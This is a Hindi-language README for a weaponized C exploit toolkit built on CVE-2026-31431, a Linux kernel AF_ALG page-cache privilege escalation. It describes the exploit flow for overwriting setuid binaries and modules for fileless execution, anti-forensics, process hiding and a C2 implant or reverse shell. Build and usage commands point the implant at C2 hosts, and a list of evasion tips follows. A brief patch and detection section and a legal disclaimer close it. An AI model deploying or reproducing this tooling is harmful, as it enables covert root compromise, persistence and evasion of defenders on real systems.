कॉपी फेल -- CVE-2026-31431
रेडटीम और अधिकृत पैनेट्रेशन परीक्षण संचालन के लिए कठोर C कार्यान्वयन।
⚠️ कानूनी सूचना: यह उपकरण केवल अधिकृत सुरक्षा अनुसंधान, अधिकृत पैनेट्रेशन परीक्षण और रक्षात्मक विश्लेषण के लिए है। उन सिस्टमों पर उपयोग करें जिनके आप स्वामी हैं या जिनका परीक्षण करने की स्पष्ट लिखित अनुमति है। कंप्यूटर सिस्टमों तक अनधिकृत पहुंच अवैध है।
🚀 प्राथमिक विकास GitLab पर स्थानांतरित हो गया है।
यह रिपॉजिटरी यहां सक्रिय रूप से बनाए रखा जाता है। समस्याओं और योगदान के लिए, कृपया GitLab का उपयोग करें।
विषयसूची
अवलोकन
यह प्रोजेक्ट CVE-2026-31431 ("कॉपी फेल") स्थानीय विशेषाधिकार वृद्धि शोषण का एक कठोर, उत्पादन-तैयार C पोर्ट है, जिसे मूलतः Theori और Xint द्वारा 29 अप्रैल 2026 को प्रकट किया गया था।
मूल प्रूफ-ऑफ-कॉन्सेप्ट Python में लिखा गया था और अनुसंधान प्रदर्शन के लिए डिज़ाइन किया गया था। यह कार्यान्वयन इसे निम्नलिखित विशेषताओं के साथ रेडटीम-ग्रेड टूलकिट में बदल देता है:
- शून्य डिस्क आर्टिफैक्ट (मेम्फ़्ड-आधारित फाइललेस निष्पादन)
- स्वचालित लक्ष्य खोज (MAC जागरूकता के साथ setuid बाइनरी गणना)
- एंटी-फोरेंसिक्स (कैश हटाना, टाइमस्टैम्प पुनर्स्थापना, स्व-विनाश)
- ऑपरेटर नियंत्रण (कॉन्फ़िगरेबल टाइमआउट के साथ सिग्नल-ट्रिगर्ड निष्पादन)
- क्रॉस-प्लेटफ़ॉर्म स्थैतिक बिल्ड (musl/zig के माध्यम से x86_64, ARM64, RISC-V)
मूल अनुसंधान
CVE-2026-31431: कॉपी फेल
भेद्यता तंत्र
यह भेद्यता Linux कर्नेल के AF_ALG क्रिप्टो उपतंत्र में निहित है। authencesn AEAD टेम्पलेट डिक्रिप्शन के लिए एक इन-प्लेस ऑप्टिमाइज़ेशन लागू करता है: जब सिफरटेक्स्ट किसी फ़ाइल के पेज कैश से splice() के माध्यम से आपूर्ति की जाती है, तो कर्नेल उसी पेज को स्रोत और गंतव्य दोनों के रूप में पुन: उपयोग करता है।
हमले का प्रवाह:
- एक setuid बाइनरी (जैसे
/usr/bin/su) को केवल-पढ़ने के लिए खोलें
AF_ALG के माध्यम से एक authencesn(hmac(sha256),cbc(aes)) AEAD ऑपरेशन सेट करें
- लक्ष्य फ़ाइल के पेज कैश से
splice() के माध्यम से सिफरटेक्स्ट की आपूर्ति करें
- (असफल) डिक्रिप्ट ऑपरेशन प्रमाणीकरण द्वारा अस्वीकार किए जाने से पहले पेज कैश पेज के 4 बाइट्स को अधिलेखित कर देता है
- पेलोड के प्रत्येक 4-बाइट विंडो के लिए दोहराएं
- लक्ष्य पर
execve() निष्पादित करें -- कर्नेल कैश से उत्परिवर्तित पेज लोड करता है, setuid-root क्रेड्स प्रदान करता है
- पेलोड पूर्ण रूट शेल पर स्थानांतरित हो जाता है
मुख्य अंतर्दृष्टि: डिस्क पर मौजूद इनोड कभी संशोधित नहीं होता। केवल इन-मेमोरी पेज कैश उत्परिवर्तित होता है, जिससे पारंपरिक फ़ाइल अधिलेखन शोषणों की तुलना में फोरेंसिक पहचान काफी कठिन हो जाती है।
हमारे सुधार
यह प्रोजेक्ट नौ मॉड्यूलों में रेडटीम-उन्मुख सख्तीकरण के साथ मूल अनुसंधान का विस्तार करता है।
1. कठोर शोषण प्राइमिटिव (patch_chunk.c)
2. स्वचालित लक्ष्य खोज (target_discovery.c)
- तीन-चरणीय स्कैनिंग: प्राथमिकता लक्ष्य → मानक निर्देशिकाएं → गहन स्कैन
- MAC-जागरूक स्कोरिंग: AppArmor/SELinux प्रोफाइल वाले बाइनरी को दंडित करता है
- 18 प्राथमिकता लक्ष्य:
su, sudo, passwd, pkexec, mount, ping, आदि।
- फ़ॉलबैक श्रृंखला: यदि प्राथमिक लक्ष्य विफल होता है, तो स्वचालित रूप से अगला सर्वश्रेष्ठ उम्मीदवार चुनता है
- स्नैप जागरूकता:
/snap (गैर-पारंपरिक setuid) को छोड़ता है
3. एंटी-फोरेंसिक्स सूट (anti_forensics.c)
4. फाइललेस निष्पादन (memfd_exec.c)
- memfd_create + fexecve: फ़ाइल सिस्टम पथ के बिना निष्पादित करें
- क्लोकिंग: memfd को
kworker, anon_inode, eventfd नाम दिया गया (/proc/$pid/fd/ में घुलमिल जाता है)
- फोर्क-एंड-फॉरगेट: डबल-फोर्क करके अनाथ प्रक्रिया बनाएं (PPID=1)
- इन-मेमोरी डिक्रिप्शन: XOR और RC4 डिक्रिप्ट-देन-एक्जीक्यूट (पेलोड कभी डिस्क पर सादा टेक्स्ट नहीं)
5. स्टेज-1 पेलोड डिलीवरी (stage1.c)
6. स्टेज-2 C2 इम्प्लांट (stage2_template.c)
- लचीला पुनर्संयोजन लूप एक्सपोनेंशियल बैकऑफ़ के साथ
- तीन वितरण: यूनिफ़ॉर्म, त्रिकोणीय, एक्सपोनेंशियल जिटर
- सिग्नल नियंत्रण:
SIGUSR1 (ट्रिगर), SIGUSR2 (स्थिति), SIGTERM (शटडाउन)
- DNS बीकनिंग: TCP कनेक्ट से पहले छिपी C2 स्वास्थ्य जांच
- प्रक्रिया मास्करेड:
ps/top में [kworker/N:0]
7. प्रक्रिया छिपाना (proc_hide.c)
- argv[0] अधिलेखन:
/proc/$pid/cmdline का इन-प्लेस प्रतिस्थापन
- prctl(PR_SET_NAME): कर्नेल थ्रेड-शैली नाम (16-बाइट सीमा)
- पर्यावरण स्वच्छीकरण:
SSH_*, AWS_*, TOKEN*, आदि का चयनात्मक वाइप
- माता-पिता से अलगाव: टर्मिनल स्वतंत्रता के लिए
setsid() + setpgid()
8. सिग्नल ट्रिगर नियंत्रण (signal_trigger.c)
| मोड | व्यवहार | उपयोग मामला |
|---|
trigger_oneshot() |
शून्य-सीपीयू प्रतीक्षा: पोलिंग लूप के बजाय sigsuspend()।
9. स्लीप जिटर (sleep_jitter.c)
- तीन RNG बैकएंड:
getrandom(2), /dev/urandom, rdtsc फ़ॉलबैक
- अस्वीकृति नमूनाकरण: समान वितरण में मॉड्यूलो पूर्वाग्रह को समाप्त करता है
- ड्रिफ्ट मुआवजा:
sleep_scheduled() जिटर के बावजूद औसत अंतराल बनाए रखता है
- सैंडबॉक्स पहचान:
check_sandbox_acceleration() पैच किए गए sleep() का पता लगाता है
आर्किटेक्चर
┌─────────────────────────────────────────────────────────────┐
│ exploit.c (Orchestrator) │
│ ┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐ │
│ │ Hide │ │Discover │ │ Exploit │ │ Cleanup │ │
│ │ Process │ │ Target │ │ │ │ │ │
│ └────┬────┘ └────┬────┘ └────┬────┘ └────┬────┘ │
│ │ │ │ │ │
│ ▼ ▼ ▼ ▼ │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ Core Module Layer │ │
│ │ patch_chunk.c target_discovery.c anti_forensics.c │ │
│ └─────────────────────────────────────────────────────┘ │
│ │ │ │ │ │
│ ▼ ▼ ▼ ▼ │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ Delivery & Evasion Layer │ │
│ │ stage1.c memfd_exec.c proc_hide.c │ │
│ │ signal_trigger.c sleep_jitter.c │ │
│ └─────────────────────────────────────────────────────┘ │
│ │ │ │ │ │
│ ▼ ▼ ▼ ▼ │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ Payload Layer (Stage-2) │ │
│ │ stage2_template.c (reverse shell / C2 implant) │ │
│ └─────────────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────────┘
बिल्ड
आवश्यकताएँ
- GCC या Clang
- GNU Make
- Linux हेडर (
linux-libc-dev या समतुल्य)
- वैकल्पिक:
musl-tools (छोटे स्थैतिक बिल्ड के लिए)
- वैकल्पिक:
zig (आधुनिक क्रॉस-कम्पाइलेशन के लिए)
- वैकल्पिक:
dpkg-deb (Debian पैकेजिंग के लिए)
त्वरित आरंभ
# मानक रेडटीम बिल्ड (ऑप्टिमाइज़्ड, स्ट्रिप्ड, स्थैतिक)
make redteam
# पेनटेस्ट बिल्ड (प्रतीक, मध्यम ऑप्टिमाइज़ेशन)
make pentest
# डीबग बिल्ड (ASAN, पूर्ण प्रतीक)
make debug
# भेद्यता जांचकर्ता (गैर-विनाशकारी)
make checker
क्रॉस-कम्पाइलेशन
# ARM64 (AWS/Azure क्लाउड लक्ष्य)
make cross-arm64
# RISC-V
make cross-riscv
# ARM HF (एम्बेडेड/IoT)
make cross-armhf
# Zig क्रॉस-कम्पाइल (कोई टूलचेन स्थापना नहीं)
make cross-zig-arm64
make cross-zig-riscv
musl स्थैतिक बिल्ड (छोटे बाइनरी)
make musl-static
# ~50-100 KB स्थैतिक बाइनरी उत्पन्न करता है जिसमें शून्य glibc निर्भरता होती है
Debian पैकेज
make deb VERSION=1.0.0
# उत्पादन: build/deb/copy-fail-cve-2026-31431-1.0.0.deb
बिल्ड जानकारी
make info
# दिखाता है: CC, CFLAGS, LDFLAGS, आर्किटेक्चर, टूलचेन उपलब्धता
उपयोग
मानक मोड (सिग्नल-ट्रिगर्ड)
# इम्प्लांट तैनात करें
./exploit &
IMP_PID=$!
# दूरस्थ रूप से शोषण ट्रिगर करें
kill -USR1 $IMP_PID
# स्थिति का अनुरोध करें (कोई कार्रवाई नहीं)
kill -USR2 $IMP_PID
# सुचारू शटडाउन
kill -TERM $IMP_PID
तत्काल निष्पादन
./exploit -t # अब ट्रिगर करें, कोई सिग्नल प्रतीक्षा नहीं
./exploit -t -c c2.example.com -p 9999
कस्टम कॉन्फ़िगरेशन
./exploit \
-c c2.redteam.internal \ # C2 होस्टनाम
-p 4444 \ # C2 पोर्ट
-d 300 \ # 5-मिनट प्रारंभिक देरी
-T 7200 \ # 2-घंटे ट्रिगर टाइमआउट
-n # भेद्यता सत्यापन छोड़ें
गैर-विनाशकारी भेद्यता जांच
./vulnerable
# निकास कोड: 100 = असुरक्षित, 0 = पैच किया गया, अन्य = त्रुटि
मॉड्यूल
परिचालन सुरक्षा
रेडटीम सर्वोत्तम अभ्यास
- कम-गतिविधि अवधि के दौरान तैनात करें सहसंबंध को कम करने के लिए
- पुनर्संयोजन अंतराल के लिए एक्सपोनेंशियल जिटर का उपयोग करें (बीकनिंग पहचान से बचता है)
- स्वचालित-ट्रिगर के बजाय SIGUSR1 के माध्यम से ट्रिगर करें (ऑपरेटर नियंत्रण बनाए रखता है)
- हमेशा सफाई चलाएं (
full_cleanup) भले ही शोषण विफल हो
- डिस्क-आधारित पेलोड की तुलना में memfd निष्पादन को प्राथमिकता दें
- स्थायित्व के लिए डबल-फोर्क करें (
memfd_fork_exec_detach)
- निष्पादित करने से पहले सैंडबॉक्स त्वरण की निगरानी करें
फोरेंसिक आर्टिफैक्ट
पहचान और शमन
रक्षात्मक पहचान
शमन
- कर्नेल पैच: कमिट
a664bf3d603d के साथ Linux >= 6.14 पर अपग्रेड करें
- लाइवपैच: डिस्ट्रो-विशिष्ट बैकपोर्ट लागू करें
- SELinux/AppArmor: setuid बाइनरी पर प्रोफ़ाइल लागू करें
- eBPF निगरानी:
AF_ALG + splice() संयोजनों को ट्रेस करें
- पेज कैश सत्यापन: महत्वपूर्ण बाइनरी पर आवधिक अखंडता जांच
श्रेय
मूल अनुसंधान
आधार C पोर्ट
- Tony Gies --
tgies/copy-fail-c
nolibc का उपयोग करके मूलभूत C कार्यान्वयन प्रदान किया
- क्रॉस-प्लेटफ़ॉर्म सिस्कॉल रैपर और बिल्ड बुनियादी ढांचा
यह कठोर फोर्क
- 9 मॉड्यूलों में रेडटीम-उन्मुख सख्तीकरण
- परिचालन सुरक्षा सुविधाएं (एंटी-फोरेंसिक्स, चोरी, छिपाव)
- क्रॉस-कम्पाइलेशन समर्थन (musl, zig, मल्टी-आर्क)
- सिग्नल-आधारित ऑपरेटर नियंत्रण और कॉन्फ़िगरेबल निष्पादन मोड
आभार
memfd_create(2) और fexecve(3) के लिए Linux कर्नेल डेवलपर्स
- हेडर-ओनली libc विकल्प के लिए
nolibc अनुरक्षक
- छोटे स्थैतिक बाइनरी के लिए musl libc प्रोजेक्ट
- आधुनिक क्रॉस-कम्पाइलेशन टूलचेन के लिए Zig प्रोजेक्ट
लाइसेंस
यह प्रोजेक्ट डुअल-लाइसेंस के अंतर्गत है:
SPDX पहचानकर्ताओं के लिए व्यक्तिगत स्रोत फ़ाइलें देखें।
मूल अनुसंधान और आधार C पोर्ट अपने संबंधित लाइसेंसों के अंतर्गत रहते हैं। इस फोर्क का अतिरिक्त कोड ओपन-सोर्स और वाणिज्यिक सुरक्षा अनुसंधान उपयोग मामलों दोनों के साथ अधिकतम संगतता के लिए उपरोक्त डुअल लाइसेंस के अंतर्गत प्रदान किया गया है।
अस्वीकरण
यह सॉफ्टवेयर केवल अधिकृत सुरक्षा अनुसंधान और अधिकृत पैनेट्रेशन परीक्षण के लिए प्रदान किया गया है। इस सॉफ्टवेयर के दुरुपयोग या क्षति के लिए लेखक कोई देयता नहीं मानते हैं। किसी भी ऐसे सिस्टम का परीक्षण करने से पहले जिसके आप स्वामी नहीं हैं, हमेशा उचित प्राधिकरण प्राप्त करें।
यदि आप अपने सिस्टम पर यह भेद्यता पाते हैं:
- कर्नेल पैच लागू करें (कमिट
a664bf3d603d या डिस्ट्रो बैकपोर्ट)
- ऊपर सूचीबद्ध समझौता संकेतकों (IoCs) की निगरानी करें
AF_ALG विसंगतियों के लिए /var/log/audit/ और EDR टेलीमेट्री की समीक्षा करें